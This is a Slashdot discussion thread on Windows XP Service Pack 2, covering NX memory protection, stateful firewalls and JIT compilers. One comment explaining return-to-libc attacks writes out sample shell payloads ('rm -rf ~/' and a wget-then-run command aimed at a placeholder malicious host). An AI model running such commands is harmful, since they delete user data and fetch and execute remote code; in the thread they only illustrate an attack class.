Windows XP SP2 Could Break Some Applications 513
Denver_80203 writes "An article from InfoWorld states that the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Or: 'The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one.' Fortunately for us, they are offering a course to guide the unsecure masses."
Uh oh (Score:3, Funny)
That's just about every application in Windows XP
Re:Uh oh (Score:4, Insightful)
Making sure nothing can buffer overrun to execute with even user privileges is a neccessity now that countless local holes are known (Overflow on loading a bitmap? How in the hell did they manage to screw that up?).
Re:Uh oh (Score:5, Informative)
I believe, BTW, the problem is an integer overflow one; a length field has a number substracted from it without previously checking that it is large enough to not wrap around to 2^32-(a little bit). This kind of thing happens a lot, and was the cause of the most recent Apache hole (among many others), so criticising MS for having one similar is a little harsh.
Re:Uh oh (Score:4, Insightful)
I don't feel it's harsh at all to criticise over this. The Apache Group should also be embarassed for the same.
(what, you assumed I'm yet another anti-MS/pro-OSS zealot?)
Integer overflows are easily avoided, and the very fact that they crop up so often is the reason programmers keep such a sharp eye out for them (at least where I work, anyway).
Re:Uh oh (Score:3, Informative)
This seems to be exactly why the government was suing them. They will support
Re:Uh oh (Score:5, Interesting)
From the developer's guide [microsoft.com]. Emphasis mine.
The security technologies included with Service Pack 2 will allow for better protection against network-based attacks.. Windows Firewall is now turned on by default and all ports are closed except when they are in use.
I hope their firewall doesn't open ports automatically, or it's nothing more than swiss cheese.
Re:Uh oh (Score:4, Interesting)
hehe
I also like
Work continues with microprocessor vendors to help Windows support hardware-enforced "no execute" (NX) on microprocessors that support the feature. This feature allows the CPU to enforce the separation of application code and data, preventing a component from executing program code that a worm or virus inserted into a portion of memory marked for data only.
So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".
Apparently MS hasn't learned the ancient ninja technique of heap redirection or return-to-lib.
So new hardware security features will lead to *more* exploits!
Re:Uh oh (Score:5, Informative)
Re:Uh oh (Score:4, Interesting)
When you overwrite the stack pointer, you don't have to point to code that's on the stack.
For example, I can overflow with a 'command-line string' on the stack, and have the overwritten stack pointer point to the address of a library function, such as 'system()', or something, and then it won't be executing any code from the stack, just taking arguments from the stack like usual.
This can't be blocked with a conventional non-executable stack.
Re:Uh oh (Score:5, Insightful)
Give me a break. You might as well say that we should get rid of memory protection and preemptive multitasking, because having them makes the programmers lazy, thinking the OS will catch their errors.
The NX feature is very good for security and stability. All people including programmers make mistakes, and if you design your security policy on the basis that no one will ever make a mistake you are bound for trouble. The only sensible approach is to have multiple layers where mistakes in one will be caught in the next and prevented from becoming a bigger problem than it should.
If the OS+hardware completely disallow you from writing to code memory, or executing application memory, then any attempts to do so will be killed on the spot and the blame will be placed squarely on your application. The user will know that your program screwed up (or was being malicious) instead of blaming it on windows. So not only will this close off an entire class of exploits, it will provide incentive for programmers to do a better job!
Re:Uh oh (Score:4, Informative)
NO NO NO! That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.
Overwrite the stack pointer with the address of a suitable library function. E.g., clobbering the stack pointer with the address of system() and overwriting the top of the stack with (pointer(s) to) suitable arguments (e.g., "rm -rf ~/", or "wget -c http://somebadplace.com/somethingbad.sh;/bin/sh somethinbad.sh"). Nothing on the stack ever gets executed, and you neatly sidestep any protection afforded by NX.
Re:Uh oh (Score:4, Informative)
Ports will not accept incoming messages, unless an application has opened the port with an outgoing message (putting the port "in use").
This means that server applications - which have to accept uninitiated communications - have to be put on a "whitelist" manually.
It will not protect you against trojan horse applications which can initiate communications from your machine, but it will protect you against external port attacks which have helped some of the famous worms propogate.
They are talking about stateful firewalls (Score:4, Informative)
Question is, what happens when the data comes back? If your firewall just says "allow out, deny in" and simply evaluates each packet in a vaccuum, it would do no good. You could never establish communications since all inbound traffic would be dropped.
So, what firewalls do is keep track of connections. You send a request to a webserver, it replies. The firewall, because it's stateful, knows that the reply is a response to your request, and permits it through. However, it's for that connection only. If the same server trys to poke at you, it'll get denied, while still allowing traffic for the web connection through.
Thus a stateful firewall with two simple rules (allow out, deny in) can secure a desktop system pretty well. Anyone that pokes at the system will get nothing, but all requests that the user initiates will be allowed.
The Windows XP firewall is a pretty simple one. By default, it does just this. You can also, if you like, specify inbound ports that are to be permitted at all times. So if you run an FTP server, you can specify that port 21 be permitted. However, in it's default config, it works great for most users. It's how I configure Kerio Personal Firewall for people, barring special needs.
Re:Uh oh (Score:5, Funny)
Are we talking about Windows XP SP1?
Great! (Score:5, Funny)
Thank you Microsoft!
Re:Great! (Score:5, Insightful)
How are you suppose to correct these apps? I bet some don't even have company's behind them anymore.
Re:Great! (Score:5, Insightful)
It's hardly new for Windows to drop backwards compatibility in areas. Many applications which are partly 16-bit and partly 32-bit won't run on Windows XP, but do run on Windows 95/98/ME for example
Windows XP has application compatibility features which allow you to set the OS version to previous releases and provide compatibility with older registry layouts, for example. That kind of compatibility feature is unlikely to help with stricter security controls of course (unlesss there's an option simply to turn off the new security features).
Re:Great! (Score:4, Insightful)
With open source, I can nearly always manage the problem - recompile works most of the time, and if not, I can either fix it myself, or find someone who has or will fix it, either for free or for a reasonable fee. More and more of my clients are starting to see the value of Linux and open source applications, especially in the server area. And these are small to medium sized businesses who tend to be very conservative about how they spend their computing money.
I even have customers asking about switching to Mac - something that hasn't happened in ages, if ever!
Re:Great! (Score:5, Insightful)
Re:Great! (Score:3, Funny)
Java? (Score:5, Interesting)
Is this supposed to mean that Java will stop working?
--t
Re:Java? (Score:4, Funny)
but wait... there was something...
Re:Java? (Score:5, Informative)
The right thing to do is to call VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE, &prevProtect);
That will mark the memory pages as being read/write/execute (where as previously they were only read/write). People should have been doing this before anyway (as the pages were never guaranteed to be executable), and if they didn't it's their bug.
I'm betting that Sun can download the beta and test Java on XP SP2 to make sure they're compliant though. Hell, Microsoft could probably even do some compatibility testing for them and enable a compatibility layer for Java. But then again Sun might sue them for that. MS probably just wants to stay away
Re:Java? (Score:5, Informative)
Re:Java? (Score:4, Interesting)
Java vs. C (again) (Score:4, Interesting)
While the SWT is pretty, it eats 120 megs of memory on my machine and a significant amount of CPU. The old standard BT client (whatever it's called) is more like 15 megs and much lighter on the CPU.
Actually, at work recently we've had a bit of a shootout among various XML DOMs. Our C++ code runs about 4 times slower than (my) tighter C code. But the amazing thing is that some Java code, with a highly optimizing JVM, has beaten my C by about 50%. Of course, we aren't counting startup time, but still, that sucker is fast. We think it comes down to the JVM being optimized for the P4 while the best I can do with Microsoft Visual C++ is optimizing for the Pentium Pro.
The "unsecure" list (Score:5, Funny)
some funny quotes (Score:3, Interesting)
according to Tony Goodhew, a product manager in Microsoft's developer group:
"SP2 will break some applications because they are insecure," he said. "Security is important, and it is not just a Microsoft problem but a developer community problem. We all need to work together to create a more secure computing environment."
"It doesn't really matter how long it is going to take you to do the work; security is an important issue, and developers need to start doing that work now," Goodhew said.
Re:some funny quotes (Score:5, Insightful)
There applications that will break are _not_ (necessarily) insecure. They just behave in a way that makes it impossible for Windows to tell isn't somebody trying to execute some code in an overflowed buffer.
Typical MS press relations, blame everyone else.
Better security is good (Score:5, Informative)
Regardless, enforcing decent security like this is good.
Now all the hackers will have to try other methods of hacking windows, heh. I'm sure that there is no shortage of them!
Re:Better security is good (Score:3, Insightful)
Unfortunately, this will mean patches will have to be released to just about everything that does this. Presumably, MS will include a patch for
Re:Better security is good (Score:5, Informative)
The RPC and DCOM changes are much more likely to have wider impacts - especially for enterprise applications.
The ICF changes are fairly light (unfortunately in my view) and not that hard for end users\admins to modify so even if there are issues workarounds will be fairly simple.
Here's more info on what SP2 is about (Score:4, Interesting)
More work.....sigh. (Score:5, Informative)
For each software build, we have to test against the various OS versions, and different service packs builds. Not fun...
Duh??? (Score:5, Funny)
I don't think the will "cry out in anguish" if they've got any sense. In today's market they'll jump for joy, knowing that their jobs are safe for another few months.
You cannot make an omelet without breaking eggs. (Score:5, Insightful)
Granted it was needed as their reputation, in regards of security, has always been low to none.
I really hope this will rid Windows XP of future remote exploits, since that's still the biggest threat Windows is facing.
Having said that, this wont fix all security problems, there will always be the luser that executes whatever is mailed to him/her, but it's still a step in the right direction.
The blind leading... (Score:5, Funny)
The blind leading the seeing?
Re:The blind leading... (Score:4, Funny)
Where do you get the Beta (Score:5, Interesting)
'Tis a gentle touch of irony... (Score:5, Insightful)
I like it (Score:5, Insightful)
Second, they've gone so far as to break application compatibility in order to clean up a number of deeply embedded security holes in Windows.
Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"
Re:I like it (Score:5, Insightful)
I bet that most of the things broken should have been fixed back in the NT5 guidelines pre-Win2000.
Re:I like it (Score:3, Interesting)
You could configure it so all untrusted code was restricted.
(Try running a
Few Application HAVE to be run as admin (Score:3, Informative)
Some stupid developers (including Canada Customs & Revenue Agency's contractor who did the "tables on disk") put their data files in the "Program Files" subtree, and don't set any acls to allow anyone other than admin access.
One method I've used to get around this is logging in as a normal user, watching for what files it can't write, logging in as admin, setting the acls (with "cacls") to allow access to that file, log in as normal user again, run the program again, etc.
Sure, it's slow, but some prog
Re:I like it (Score:3, Informative)
It's been a requirement for Windows XP Logo Certification (maybe even Windows 2000 certification, but I'm not sure) that your application has to run under a normal user account.
Of course, for apps that don't get logo certified, I don't think there's much Microsoft can do to force them to work.
Re:I like it (Score:3, Interesting)
Here is what I see -->
My KDE 3.2 desktop ease of use is right up there with other operating systems
Re:I like it (Score:5, Insightful)
While I agree, I'm becomming a strong advocate for looking at the world from the point of base motivations.
Microsoft is primarily motivated to keep stock prices going up -- or at a minimum -- stable.
If these changes become too painful for those who don't care about security, it will cause a decrease in the deployment of Windows XP and XP-specific programs.
If this happens -- or may happen -- Microsoft will do something to make people happy...even if that means back stepping.
That said, I can see them putting out XP SP2 (forcing the app vendors including MS themselves to deal with security) and then offering a variety of moderately painful workarounds. Ideally, the workarounds would break with each minor update, forcing the security issue.
Putting the changes in XP only, though, does fit with Microsoft's motivation to get people to upgrade. Now they can say "well, W2K is not nearly as secure as XP", even though they could back port the changes to W2K -- though there is no motivation to do so.
From motivations, though, it's hard to beat OSS on security. The code is there, and if something is not secure it will be made secure because the developers are personally driven to make it so.
(ObDisclaimer: Keeping in mind that security is always a process not a product. Tools can be handy or even critical, though how they are used and why is much more important.)
Sounds like... (Score:5, Interesting)
Actually, I'm very interested to see if the SP2 pop-up ad blocker will actually work in IE since MS has dragged their feet on this issue. Half the battles we have been fighting lately at work involve IE and pop-ups that install crap without any notification.
Memory protection only on 64-bit platforms for now (Score:5, Insightful)
Actually, only the Itanium and AMD K8 [microsoft.com] are affected by this immediately; Microsoft isn't yet marking memory nonexcutable by default on the good old x86 processors that we all use.
Regardless, it is trivial for developers to update their code for things like JIT compilers, with a simple function like this:
I added that piece of code to my company's JIT compiler some years ago, just to ensure that the proper flags were set. I figured Microsoft would eventually switch to nonexecutable data and stack segments, much like the OpenWall [openwall.com] project has done with their Linux patches. Glad to see Microsoft is finally taking the first steps.
Re:Memory protection only on 64-bit platforms for (Score:4, Informative)
Wrong. Get your facts straight.
Bit 43 of the x86 segment descriptor table [ddj.com] specifies whether a memory segment is executable.
Attempting to assign CS to a nonexecutable (read/write data) segment, i.e. attempting to execute code in a segment not specifically marked as executable, generates an exception [ddj.com]. (See also this presentation [msu.edu] for an overview of this and many other x86 security features, most of which are, admittedly, ignored by both Windows and Linux.)
And, by the way, this feature has been around since protected mode was introduced on the 80386. That was in 1985, almost 20 years ago.
Re:Memory protection only on 64-bit platforms for (Score:3, Informative)
Re:Memory protection only on 64-bit platforms for (Score:4, Informative)
Seen this coming for ages ... (Score:5, Informative)
A lot of stuff is going to break, but I think that this is good in a way. MS have finally put security ahead of backward compatibility. Once these changes are in place and apps are working with them, the system is going to be more secure. For once MS should be applauded - yes, you can argue it's a bit late, but at least they're doing it now.
If you want to check out what changes SP2 actually makes, have a read of this white paper:
Changes to Functionality in Service Pack 2 for Microsoft Windows XP [microsoft.com]
Lengthy, but worth a read, especially if you have apps that you think might be affected.
A downloadable version is available here [microsoft.com].
Good (Score:5, Insightful)
I highly doubt that Linux authors would think twice about breaking buggy apps to force the issue.
Microsoft just can't win (Score:5, Insightful)
Windows adds NX security to prevent buffer overflows, Slashdot bags on Microsoft for breaking a few apps in the process (apps which were arguably broken in the first place, just the spec was never enforced).
I understand there's a slight bias on this site, but Jesus Christ you guys.
Re:Microsoft just can't win (Score:5, Insightful)
Re:Microsoft just can't win (Score:3, Insightful)
Silent moderation, not really enough. Hardly anyone bothers to stand up to the rampant editorial bias around here, from the article selection to the snippy commentary inserted after most of them.
Homogenized corporate media occasionally enjoys a story about the ills of homogenized corporate media. Then they go right back to conforming to the ratings machines. I come to slashdot for the community now, the ar
Pain in the ass, but a step in the right direction (Score:5, Interesting)
I thought... (Score:3, Insightful)
Applications reported having SP2 problems (Score:5, Informative)
- Zone Alarm 2 (uninstall stops working)
- BS Player (driver fail to load)
- Roxio Easy Media Creator 7
- Microsoft Intellipoint 5.0
- Azureus BitTorrent client
- ATI's Rage3DTweak for Radeon
- Easy CD Creator 5
- eMule
- Tritton NAS-120's Managment Interface
- Leadtek WINFAST TV PVR (driver fail to load)
- ISO Recorder Powertoy
Also, a user reports the Windows XP SP2 firewall blocking incoming FTP traffic even without an installed firewall, and XP's built-in disabled.
Maybe it's "beta diseases", but it does seem like a lot to break for a service pack, even in a beta. These are usually quite stable as they contain mostly bugfixes, not Win32 API changes (which these problems are supposedely caused by).
execution-restricted memory by default (Score:5, Insightful)
Microsoft isn't stupid. I'm sure they'll figure out a way to allow old apps to run with the old allocation behavior. Their entire business relies on legacy compatability. At worst you'll need to set some flag on the application launch.
The other thing to note is that crackers have also had ways to defeat execution-protected memory for years as well. It makes a buffer overflow exploit a bit more difficult, but where there is a will there is a way.
For example, even if the protection prevents you from writing executable code directly into memory, you can still typically do things like overwrite the stack and hijack the program's execution to a system call with malicious parameters (in Unix, the classic call to hit is system()...no custom code execution required, just a 'rm -rf
Braddock Gaskill
Sun Hot Spot (Score:5, Interesting)
Re:Sun Hot Spot (Score:3, Interesting)
Had Sun followed the instructions for making executable code pages for their JIT like MSDN has explained how to do since Windows 95, then the Hotspot compiler would work just fine.
If you want to blame someone here, blame Sun for not coding their stuff correctly in the first place.
This is exactly what's needed (Score:5, Insightful)
Now microsoft has always tried to make it easy to run old programs. Think of how long dos lasted so businesses could use their old proprietary programs. This caused a lot of problems with windows crashing. Windows xp was supposed to fix that shit, but now a new slew of shit has come about. Now what they're saying with sp2 is that they recognize their customers want security and stability over backwards compatibility.
The reason they're finally starting to do this is probably to compete with linux since those people most likely had to leave their old familiar apps with new ones. They see that people would rather deal with the adjustment of a new look and feel over constant reboots.
Now while everyone can point fingers and laugh at
Remember guys, microsoft isn't stupid.
Only install odd numbered service packs (Score:5, Funny)
Besides, the combination of my Netgear firewall, McAfee Virusscan and just not opening strange attachments in my email protects me just fine.
Pot to Kettle (Score:4, Funny)
Not to flame, cause i'm not like that, but c'mon!?!
Pot to Kettle, "Guess who's black?"
Disable the HTML e-mail feature that I don't use! (Score:5, Informative)
Re:Disable the HTML e-mail feature that I don't us (Score:5, Informative)
Or you could just sit and blame Microsoft for your inability to read their supplied documentation pandering to a community that is as inept and continue to use the product without a clue as to how it works.
These changes... (Score:3, Insightful)
I'm no Microsoft fan, in fact quite the opposite.
But by and large, these look like common sense changes that will likely cause a great deal less trouble than the move from 2000 to XP did for application vendors.
Tidbit from OSR - XP SP2 will break some drivers (Score:5, Informative)
According to their newsletter at www.osronline.com, XP SP2 will include mandatory runtime memory pool overrun checking for all drivers. While this will improve the OS' security, it will ALSO cause mysterious failures on upgraded systems due to poorly-written legacy XP drivers. I make no judgements as to the wisdom of this course, but it's definitely worth knowing about beforehand. Of course, if they'd done this FROM THE START, then there would be no failures from it with the upgrade...
Apple Panther 10.3 (Score:4, Informative)
I'm all about progress and out with the old but ditching last year's technology is a bit quick.
Brilliant Idea (Score:3, Funny)
The Emperor has no clothes (Score:5, Interesting)
Now MS says, with their new firewall, I don't *have* that option? Now anybody who wants to write an app to use a port must first notify MS that it wants to use that port.
Doesn't this mean that malicious programs will just quietly open up firewall ports on their own without notifying the user?
Secondly, what does this mean:
"Another product that Microsoft needs to update is the
"The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The
Translation:
Mostly only unmanaged C++ programmers will be affected by these security changes. If you had just programmed the Microsoft way to begin with and used
Memory protection only occurs on NEW processors. The vast majority of the world runs Windows on NON-SECURE processors.
Stranger still, Microsoft has had buffer overrun checking BUILT IN to Visual Studio
Lastly, Microsoft's greatest security problems are not buffer overruns or firewall holes. They're AUTOMATIC ACTIVEX control installation from malicious pop ups to install spyware. They're wide open access to the email address box and a by-default scripting system that allows malicious emails to respawn themselves. They're bugs in the Internet Explorer control that allow malicious URL's.
NONE of these "security innovations" even take a crack at stopping those!
What DO these security innovations do?
Destroy a previously lucrative software market for antivirus tools.
Take the firewall OUT OF THE CONTROL of the user and put it firmly inside the OS to determine what's good for you. (Remember DRM? Isn't it interesting that the main thing broken from this portion of the update are peer-to-peer apps and FTP sharing?)
Further entrench
I'm all for security, and now these boxes will be secure... But no moreso than the typical user installation out there today that uses a third party antivirus/firewall solution and keeps their system up to date with the latest patches.
This is about as effective at what MS did with Outlook XP and *by default* turning off the ability to get attachments out of your email. You had to setup a profile configuration OR edit your registry settings to get that feature back.
Y'know, there comes a point where you have to say, I can ride my bicycle without training wheels.
I understand that MS is fighting a bad PR image. But if this is how Microsoft "innovates"... Well, might as well just have lightweight users use Macs (which will hold their hands) and pro users/developers can use Linux.
Congratulations to MS (Score:5, Insightful)
Now, if we see built-in virus protection, tainting or sandboxing of executable code recieved by email, proper MIME handling, and flagging of double extensions, AND AUTOMATIC UPDATES THAT ARE ON BY DEFAULT, it'll be mostly there.
Even forcing users to take an extra step (like the 'chmod u+x' required on *NIX) to make emailed and downloaded files executable would help a _lot_. Sure, viri would just start saying "click properties, then tick 'executable'" in the messages; but it'd stop a lot of the worst offenders from viewing things without thinking.
Re:Congratulations to MS (Score:5, Informative)
Hey I like Unix and dislike Windows, but this is a bit of Linux-fud. This is not some amazing "security feature" invented by K&R in 1970. Here are the facts:
1. A program can call "exec" on any file, whether or not it has the execute bit set. The system does not check, so this is not any real protection. Imagine a "Linux Outlook" written without any assumptions about security, the MS-style author of the program would certainly make it so that clicking on an executable would call exec or popen. The main security in Linux is that the email program writers never considered that somebody would want to run a program, they either save it as a file or open it as text. But considering that Microsoft went through the trouble of actually interpreting the attachement as a
2. Any program with permission to write the file can turn on the execute bit. For instance tar will restore the execute bits back on the tar'd files. A "user friendly" program would certainly turn on the bit on received files that indicated they want it, since that is what the user wants.
3. The real purpose of the execute bit:
When Unix was written in 1970, a powerful machine had 64K of memory and disks spun at a few hundred rpm. In addition the original design assummed executable programs and data files would be mixed together in the same directories. Especially the current directory: the idea that putting "." somewhere other than the start of the path for security did not occur till maybe 1980 (and it is still missing from Windows CMD.EXE!) Besides the current directory people would often modify their path to include their friend's home directories (to get their programs) or to get different versions of programs.
On such machines it would take many seconds to try to open a given file in each of several directories on the path. The only way to make a command run efficiently would be to store a hash table in memory saying which directory was the first on the path that each command was in (the command "rehash" in csh shells would recalculate this).
In the directory structure people were using then, over half the files on the path would not be executable and thus not commands. The rehash command could greatly reduce memory usage if it could eliminate these right away. The correct solution (opening the files and checking for magic execute bytes) would be far too slow. So they decided to dirty up the file system by adding a single "attribute" in the form of the execute bit, so the rehash could skip files quickly.
That is why the execute bit is there. It is not a security feature.
Stop Crying Wolf (Score:3, Insightful)
Furthermore, it doesn't even work in non-Opteron processors.
I mean, people are acting like upgrading to SP2 is going to suddenly destroy their ability to use applications when this option isn't even on by default.
Certainly you people aren't this ignorant, are you?
a more informative link on XP SP2 (Score:3, Informative)
Quoting from the article linked below:
Starting with Windows XP Service Pack 2, on processors which support it (according to the web page, currently AMD K8, Itanium, and AMD64), the stack and heap will not be executable. If you try to execute the stack or the heap, an exception will be raised and the code will not execute. In other words, execute page protection will soon be enforced, now that processors exist that support it. (Actually, I believe Windows XP for Itanium already used this new protection level, so those of you who have been playing around with your Itanium may have seen this already.)
If you were a good developer and followed the rules on page protections, then this has no effect on you. But if you cheated the rules and took advantage of specific hardware implementation details, you may find yourself in trouble. Consider yourselves warned.
posted on Tuesday, November 04, 2003 3:38 AM
http://weblogs.asp.net/oldnewthing/archive/2003/11 /04/55560.aspx [asp.net]
The Good and The Bad (Score:4, Insightful)
Microsoft needs to do some house cleaning of Windows, and this seems as if it really is a step in the right direction as far as fixing up some of the security problems.
The Bad:
Of course, this is Microsoft we're talking about. If Microsoft can get away with purposefully breaking third party applications and then making it seem like it is for "security" purposes, they will.
Naturally, one has to wonder what havoc this SP will cause with 3rd. party firewall and antivirus software. It is not hard to imagine Symantec and McAfee taking a huge loss in user base if SP2 breaks their software, and then Microsoft says, "Well, those apps weren't well written or else SP2 wouldn't have broken them. Fortunately firewall and antivirus are built into Windows now, so you can ditch that 3rd. party software."
And this also will not really do very much to stop the spread of viruses/worms/trojans and adware, at least not immediately. The reasons are:
1. Most home users never run Windows Update. MS can tout the new security features all they want, but most users will not have these features because they won't patch.
2. People will still find a way to purposefully click on email attachments. I've known people who can't get weird email attachments because their AV software blocks it, so they DISABLE their AV software to open it.
3. SP2 doesn't look like it will address IE/ActiveX control issues that Adware writers love to take advantage of.
And of course, Microsoft is still pushing their campaign to integrate everything and the kitchen sink into the OS. First it was IE, now it is media player that MS claims is a vital component of Windows. Next it will be firewall and antivirus. These improvements should be modular so that users who have an external firewall or prefer a 3rd. party solution can simply knock it out of their install.
The reason MS was ok with 2000, but horrific now. (Score:4, Insightful)
Hack hack hack hack, remove hack, hack a hack, hack hack hack...
Their code is SO CHOCK FULL OF HACKS to support older applications, and even hack to hack old hacks, that eventually the OS will crumble under its own weight.
The Apple transistion from OS 9 to OS X was VERY slick. Give old apps a Classic mode, and as apps get rewritten you use the new rewritten version in the main OS, and only dip into Classic mode for the old/unconverted apps. After a few years, get rid of the Classic mode and yay, millions of people easily converted from one generation OS to the next. Watching Apple move people from OS 9 to OS X was what caught my eye and made me think "This company has a fucking clue!" And once I saw 10.3, I bought a Powerbook. Too good to refuse.
With windows, it's still hack hack hack hack... I can't wait to be ENTERTAINED when Longhorn comes out. It's going to be a great laugh at that mess. And great for self employed geeks like me that work as consultants. MS makes a mess every couple of years, and that keeps us geeks paid cleaning up the mess.
The fix, as I see it: MS, IMO, should write Longhorn without ANY HACKS for old apps, and include with the OS a free copy of Virtual PC running Windows XP. Treat Virtual PC (which they now own) as Apple did with their Classic mode.
Of course, MS won't do this, and couldn't do it right if they tried, and at the end you still have a crappy OS full of security holes and a bad GUI. Oh well.
Good (Score:4, Insightful)
Re:.NET framework (Score:4, Funny)
Re:.NET framework (Score:5, Interesting)
Microsoft's Long-Term Perspective (Score:5, Insightful)
You evidently don't understand how Microsoft works as a business. Unlike most software shops, they take the long-term perspective. Many of their competitors have learned this the hard way. (E.g., "Internet Explorer is a failure." As of version 3, it was a failure in terms of market penetration, but MS didn't care.) Full Microsoft product cycles typically take about ten years.
Every major new Microsoft product or technology takes the better part of a decade to take over the desktop. By about 2007-2008 or so, once there starts to be a large installed base of Longhorn machines (which will have .NET preinstalled), .NET will really start to take off for shrinkwrap applications. Five years down the line from there, it will be just about ubiquitous. In the meantime, programmers are learning it and it's becoming a familiar feature of Visual Studio (an excellent IDE).
Re:.NET framework (Score:5, Interesting)
Re:Lets not bag on MS (Score:3, Insightful)
you are not fixed to xandros, i use debian and can (and atleast did) boot 2.2 2.4 2.5 and 2.6 series kernels, so just switch your distro to one that fits your needs better.
also check when the last security stuff for the windows 95 generation (95,98,me) and older nt's (4 and downwards) was released. on the other hand even the 2.0 kernel is still maintained and updated.
Re:Lets not bag on MS (Score:3, Funny)
What about changing our shorts as often as we switch distros?
This may affect Linux as well as MS (Score:5, Insightful)
In the past, MS has broken Windows 95/98 applications, but Windows XP/2000 had compatibility modes available for the older applications. If it is as they say, and newer apps will be intentionally broken without any way of going into a compatibility mode, this will be bad.
I have difficulty believing MS would not include some kind of compatibility mode, however. It'll be interesting to see what they do. It won't really affect me though, I don't use XP and can't stand that OS (Windows 2000 is still my favorite Microsoft OS; Windows XP is just 2000 with some pretty GUI changes and some compatibility fixes.)
Imagine the other headline (Score:5, Insightful)
Ok, imagine this alternate Slashdot headline:
MS sales buries secure XP
Itoldyouso writes - A leaked memo indicates that the Microsoft developers created a much more secure version of their flagship operating system. However, because it would have caused problems with a small number of applications that were designed insecurely, the Sales & Marketing teams vetoed the new secure version, in an attempt to avoid a customer backlash. It is now official - Microsoft's commitment to trustworthy computing is a complete joke.
I have a feeling that post would rile a lot more people here.
No kidding! (Score:3, Insightful)
And yes, I do think you'd find a shitstorm on
Not sure what "bagged" means... (Score:3, Informative)
Yeah, I agree, that would be quite unreasonable to expect Microsoft to not release this service pack. I hope it is apparent in my post that I don't think MS should shut this SP out; I just think it'll cause a lot
Re:Imagine the other headline (Score:5, Insightful)
In the Open Source world you can just recompile, or download new binaries from someone who's done it for you. I've been running Linux for something like 10 years now. Upgrading has never slowed me down for more than a day or so, and I have never lost the use of any software that I needed or wanted to continue using.
Re:Lets not bag on MS (Score:5, Insightful)
Does this Service Pack allow itemized upgrading? A reboot? Uninstalling broken patches? More than one reboot?
Re:Lets not bag on MS (Score:3, Funny)
Installing XP SP2 will not be a "forced security upgrade" either but also "simply an option".
Re:Lets not bag on MS (Score:3, Insightful)
Re:Lets not bag on MS (Score:5, Insightful)
Re:Lets not bag on MS (Score:4, Informative)
Re:These are a few insecure programs that won't wo (Score:5, Interesting)
The real problem is that the benefits it (should) bring will not get deployed to the bulk of systems that need it - at 210Mb I can't see the majority of systems out there that really need it getting the whole thing downloaded, at least not within any reasonable time frame. Hopefully by the time it is actually released they will have a lite version on Windows update that can push the security improvements in a much smaller package.
Their decision to at least try to implement some long overdue fundamental improvements to the security of the architecture is to be welcomed no matter how over due it is. However despite that their decision not to add any outgoing filtering capability to the ICF doesn't make any sense to me and seems, well, just stupid really.
Re:not surprised by /. (Score:5, Insightful)
No, it's soooo 2004. Anti-MS/pro-Linux bias was restricted to very small groups of hackers in the 1990's, but it's progressively growing into the collective conscience, as more and more security failures in MS software get more and more people pissed-off.
Re:Start doing that work NOW! (Score:5, Funny)
They that give up functionality to obtain a little security deserve neither functionality nor security.
Yeah, or something like that.
Re:"Insecure Applications"? (Score:4, Interesting)
In the past, when MS has updated the OS, they've often worked kludges in to make sure they don't break applications that were doing things that they weren't supposed to be doing. With the new focus on security, Microsoft has likely put an end to such kludges and things are going to break. I'm not surprised, and it doesn't really bother me.
Really, most of the posts I'm seeing are giving Microsoft a hard time about this, but how is it any different from the kernel developers refusing to freeze a driver API, which in turn occassionally causes drivers for some hardware to break? It happens, and it's really out of Microsoft's hands if they're focused on building a more secure OS than what they have now. I'm sure Microsoft's own products will be patched at the same time SP2 is released, and so long as they provide a changelist which would allow developers to fix apps that might break, what's the problem?